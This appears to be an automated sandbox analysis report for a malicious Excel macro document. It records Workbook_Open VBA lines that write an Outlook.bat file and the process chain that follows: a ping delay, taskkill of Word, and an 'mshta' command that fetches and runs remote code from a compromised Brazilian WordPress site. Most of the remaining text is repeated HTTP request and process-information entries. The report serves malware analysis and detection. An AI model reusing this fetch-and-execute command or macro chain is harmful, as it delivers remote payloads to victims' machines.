Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.4:49765 version: TLS 1.2

Source: C:\Windows\SysWOW64\mshta.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"	Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls.0.dr	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"

Source: C:\Windows\SysWOW64\mshta.exe

Code function: 10_2_07810052

10_2_07810052

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open	Name: Workbook_Open
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls.0.dr	OLE, VBA macro line: Private Sub Workbook_Open()

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: C7D1B87B.tmp.0.dr	OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	OLE indicator, VBA macros: true
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls.0.dr	OLE indicator, VBA macros: true

Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Virustotal: Detection: 49%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Metadefender: Detection: 27%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	ReversingLabs: Detection: 41%

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{B82A6EE5-784E-45EA-B7C1-B93EFE20F908} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@13/93@4/5

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:480:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5156:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: C7D1B87B.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
